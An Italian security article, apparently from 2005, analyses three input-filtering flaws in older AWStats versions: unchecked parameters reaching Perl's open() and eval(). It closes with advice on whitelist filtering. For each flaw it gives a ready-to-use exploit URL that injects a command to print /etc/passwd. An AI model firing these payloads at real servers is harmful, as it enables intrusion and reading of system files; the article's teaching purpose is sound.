Banner Shishii
Pagina aggiornata il:  20/02/2005 11:21

Pagina Stampabile     Pagina Stampabile

Input Parsing

Un grave bug trovato in awstats nelle versioni uguali o inferiori a 6.2-1.1 mi da lo spunto per parlare di un problema di sicurezza molto sentito... un adeguato filtraggio dell'input proveniente da HTTP.

Awstats è un popolarissimo tools in Perl per la generazione di statistiche su visite a siti web. A differenza di altri non lavora recependo direttamente i dati delle visite, ma leggendo i file di log del webserver. E' in grado di generare suoi file di database in cui conserva i dati che poi elabora per la visualizzazione.

Si tratta di tre casi di mancato controllo dell'input inserito dall'utente.

Primo caso.

 1  if ($ENV{'QUERY_STRING'}) {
 2     $QueryString = $ENV{'QUERY_STRING'};
 3  }
 4  # ...
 5     $QueryString = CleanFromCSSA($QueryString);
 6  # ...
 7     if ($QueryString =~ /configdir=([^&]+)/i) {
 8        $DirConfig=&DecodeEncodedString("$1");
 9     }
10  # ...
11  &Read_Config($DirConfig);
12  # ...
13  sub CleanFromCSSA {
14     my $stringtoclean=shift;
15     $stringtoclean =~ s/</&lt;/g;
16     $stringtoclean =~ s/>/&gt;/g;
17     return $stringtoclean;
18  }
19  # ...
20  sub DecodeEncodedString {
21     my $stringtodecode=shift;
22     $stringtodecode =~ tr/\+/ /s;
23     $stringtodecode =~ s/%([A-F0-9][A-F0-9])/pack("C", hex($1))/ieg;
24     return $stringtodecode;
25  }
26  # ...
27  sub Read_Config {
28  my $configdir=shift;
29  # $configdir è il valore del parametro omonimo configdir
30  my @PossibleConfigDir=();
31  if ($configdir) {
32     @PossibleConfigDir=("$configdir");
33     # entra nell'array delle possibili directory di 
34     # configurazione
35  } else {
36     @PossibleConfigDir= ("$DIR","/etc/awstats",
37     "/usr/local/etc/awstats","/etc","/etc/opt/awstats");
38  }
39  # Open config file 
40  $FileConfig=$FileSuffix='';
41  foreach (@PossibleConfigDir) {
42     my $searchdir=$_;
43     # viene estratto dall'array e inserito in $searchdir
44     if ($searchdir && $searchdir !~ /[\\\/]$/) {
45        $searchdir .= "/";
46     }
47     if (open(CONFIG,"$searchdir$PROG.$SiteConfig.conf")) {
48     # qui si verifica il danno.
49        $FileConfig="$searchdir$PROG.$SiteConfig.conf";
50        $FileSuffix=".$SiteConfig"; last;
51     }
52  # ...
53  }

In awstats.pl (riga 2) viene ricevuto l'input, e il valore del parametro configdir viene assegnato alla variabile $DirConfig (riga 7 e 8) dopo avere subito il parsing da due funzioni: CleanFromCSSA (riga 5) che si limita ad eliminare i caratteri <> (righe 13-18), e &DecodeEncodedString che è la classica funzione di decodifica dei parametri GET e POST (righe 20-25).
Successivamente la variabile $DirConfig viene passata alla funzione &Read_Config($DirConfig) (riga 11), li valorizza $configdir (riga 28), la quale contribuisce a formare il nome di un file (righe 32, 41 e 42) che viene aperto tramite la funzione "open" (riga 47).

La funzione "open" di Perl non si limita ad aprire files il lettura o scrittura, ma può aprire delle "pipe" tramite il carattere "|" con altri programmi, provocandone l'esecuzione, così come avviene nel meccanismo tipico di invio della posta:
open (MAIL, "|/usr/sbin/sendmail");
E' quindi chiaro cha mancando un effettivo controllo sull'input passato dall'utente diviene possibile eseguire codice arbitrario. Un possibile attacco potrebbe essere condotto chiamando con un browser un indirizzo simile:
http://www.sito.com/cgi-bin/awstats/awstats.pl?configdir=|/bin/cat /etc/passwd|
che produrrebbe la visualizzazione del file delle password.

Secondo caso

Questo secondo problema si verifica solo se nel file awstats.conf la variabile AllowToUpdateStatsFromBrowser è settata a 1.
Ciò consente l'aggiornamento del database da browser, oltre che da linea di comando o da cron.
In tal caso è possibile un attacco simile al precedente. Infatti anche qui abbiamo un input, non controllato, passato alla funzione "open".

 1  if ($ENV{'QUERY_STRING'}) {
 2     $QueryString = $ENV{'QUERY_STRING'};
 3  }
 4  $QueryString = CleanFromCSSA($QueryString);
 5  # ...
 6     if ($QueryString =~ /logfile=([^&]+)/i) {
 7        $LogFile=&DecodeEncodedString("$1");
 8     }
 9  # ...
10  open(LOG,"$LogFile") || 
          error("Couldn't open server log file \"$LogFile\" : $!");

Le righe da 1 a 9 hanno lo stesso significato del primo caso, e nella riga 10 avviene il passaggio diretto dell'input alla funzione "open", senza alcuna forma di controllo sui caratteri immessi.
Anche il possibile exploite è è simile al precedente: http://www.sito.com/cgi-bin/awstats/awstats.pl?logfile=|/bin/cat /etc/passwd|

Terzo caso

Anche questo caso si rifà al problema del mancato controllo dell'input, ma qui la funzione "colpevole" non è "open", ma "eval".
In Perl "eval" si usa in due forme come dice perlfunc:
eval ();
eval {};
Nella prima forma, il valore restituito da ESPR viene analizzato sintatticamente ed eseguito come se fosse un piccolo programma Perl. Il valore dell'espressione (che viene di per sè determinato all'interno del contesto scalare) viene prima controllato dal punto di vista sintattico e, se non ci sono stati errori, eseguito nel contesto lessicale del programma Perl corrente, in maniera che tutte le definizioni di formato, le subroutine, e i valori dati alle variabili rimangano intatti. Va notato che il valore viene verificato sintatticamente ogni qualvolta l'eval effettua un'esecuzione. Se ESPR viene omessa, esso valuta $_. Questa forma viene usata tipicamente per ritardare la verifica sintattica e la successiva esecuzione del testo di ESPR fino al tempo di esecuzione.
Nella seconda forma, il codice all'interno del BLOCCO viene verificato sintatticamente solo una volta, allo stesso momento in cui il codice che circonda lo stesso eval viene verificato sintatticamente, ed eseguito all'interno del contesto del programma Perl corrente. Questa forma viene usata tipicamente per catturare le eccezioni in maniera più efficiente che non la prima (vedete qui sotto), pur fornendo anche il vantaggio di controllare il codice dentro BLOCCO a tempo di compilazione.

Il codice in questione è il seguente:

 1  if ($ENV{'QUERY_STRING'}) {
 2     $QueryString = $ENV{'QUERY_STRING'};
 3  }
 4  $QueryString = CleanFromCSSA($QueryString);
 5  # ...
 6     if ($QueryString =~ /pluginmode=([^&]+)/i) {
 7        $PluginMode=&DecodeEncodedString("$1");
 8     }
 9  # ...
10  if ($PluginMode) {
11     my $function="BuildFullHTMLOutput_$PluginMode()";
12     eval("$function");
13     if ($? || $@) { error("$@"); }
14     &html_end(0);
15     exit 0;
16  }

Le righe da 1 a 8 sono equivalenti agli casi precedenti, vi viene valorizzata la variabile $PluginMode direttamente tramite l'input senza alcun controllo.
Nelle righe 10-12 si vede che $PluginMode viene utilizzata per creare una stringa che viene passata a "eval()", che quindi la valuta alla stregua di codice eseguibile Perl. A questo punto l'attacco è semplice:
http://www.sito.com/cgi-bin/awstats/awstats.pl?pluginmode=:system("/bin/cat /etc/passwd");
Anche in questo caso visualizziamo il file delle password.

Conclusioni

Tutti e tre questi casi dimostrano l'importanza di un adeguato parsing dell'input fornito tramite HTTP. Senza degli adeguati filtri si va incontro a grossi problemi di sicurezza. Ma come si può evitare ciò?

Il metodo migliore è filtrare l'input consentendo solo i caratteri necessari, ad esempio:

if ($input =~ /[^a-zA-Z0-9._/-]/ or $input =~ /\.\./) {
    die "Errore: inseriti caratteri non ammessi\n";
}
In questo caso diciamo al programma di consentire solo i carattari alfa-numerici, il singolo punto, l'underscore, il trattino e la slash. Evitando così tutti caratteri pericolosi, come & < > " | ; eccetera.


Indice del sito